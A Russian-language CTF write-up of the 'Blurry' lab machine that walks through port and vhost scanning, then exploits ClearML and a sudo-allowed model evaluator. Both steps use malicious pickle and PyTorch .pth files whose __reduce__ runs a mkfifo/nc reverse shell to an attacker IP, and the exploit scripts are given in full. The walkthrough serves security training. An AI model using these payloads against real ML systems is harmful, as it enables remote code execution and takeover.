Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/4be5cfa9-26e1-468b-bbff-6230ab330c66 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Начнем решение со стандартного сканирования портов:
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://app.blurry.htb/
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 05:49
Completed NSE at 05:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 05:49
Completed NSE at 05:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.49 seconds
Перед исследованием сразу пробежимся с помощью gobuster
и попробуем найти другие домены:
$ gobuster vhost -u http://blurry.htb -w ~/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://blurry.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kiberdruzhinnik/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
2024/06/09 08:51:09 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api.blurry.htb Status: 400 [Size: 280]
Found: chat.blurry.htb Status: 200 [Size: 218733]
Found: app.blurry.htb Status: 200 [Size: 13327]
Found: files.blurry.htb Status: 200 [Size: 2]
Progress: 4989 / 4990 (99.98%)
===============================================================
2024/06/09 08:52:10 Finished
===============================================================
Сразу занесем все найденное в /etc/hosts
.
Веб
На домене развернут ClearML - софт для MLOps.
На chat.blurry.htb
видим Rocket Chat.
Я сразу зарегистрировал аккаунт и провалился в чат. В чате идет обсуждение следующего спринта и упоминается ClearML.
Возвращаемся в ClearML и переходим в проект Black Swan. Пользователь Chad Jippity проверяет артефакты после тренировки моделей.
Мы не можем просто так загрузить задачу, поэтому нам придется установить ClearML на свою машину.
python3 -m venv env
source env/bin/activate
pip install clearml
clearml-init
Нам говорят перейти на http://app.blurry.htb/settings/workspace-configuration
и создать креды. Так и поступим.
Мы заставляем ClearML запустить нашу задачу с реверс-шеллом в пикле, а еще проставляем на задачу тег review
. Именно этот тег заставит пользователя Chad Jippity
запустить код.
Файл exp.py
:
import os
from clearml import Task
import base64
import time
task = Task.init(project_name='Black Swan', task_name='Generate and Upload Pickle', tags=["review"], task_type=Task.TaskTypes.data_processing)
class Pickle:
def __reduce__(self):
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.107 4242 >/tmp/f"
return os.system, (cmd,)
rng_name = base64.b64encode(str(time.time()).encode()).decode()
task.upload_artifact(name=rng_name, artifact_object=Pickle())
task.execute_remotely(queue_name='default')
# запустим слушателя
rlwrap nc -lnvp 4242
# и сразу же запустим скрипт
python3 exp.py
Ловим шелл и понимаем, что пользователь запустил его из-под себя.
Флаг пользователя
Повышение привилегий
Сразу же попробуем выполнить sudo -l
:
$ sudo -l
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
Без пароля можем запустить оценку модели. Проверим права на каталог /models
:
$ ls -la / | grep models
drwxrwxr-x 2 root jippity 4096 Jun 9 02:53 models
Группа нашего пользователя jippity
может записать модель в этот каталог.
Создадим свою модель с реверс-шеллом.
Файл root.py
:
import torch
import torch.nn as nn
import os
class CustomModel(nn.Module):
def __init__(self):
super(CustomModel, self).__init__()
self.linear = nn.Linear(10, 1)
def forward(self, x):
return self.linear(x)
def __reduce__(self):
# Custom reduce method
cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.107 4246 >/tmp/f"
return os.system, (cmd,)
# Create an instance of the model
model = CustomModel()
# Save the model using torch.save
torch.save(model, 'evil.pth')
Запустим слушателя и скрипт:
rlwrap nc -lvnp 4246
python3 root.py
Загрузим на машину получившийся файл evil.pth
в каталог /models
, а после запустим модель:
sudo /usr/bin/evaluate_model /models/evil.pth
И сразу ловим шелл: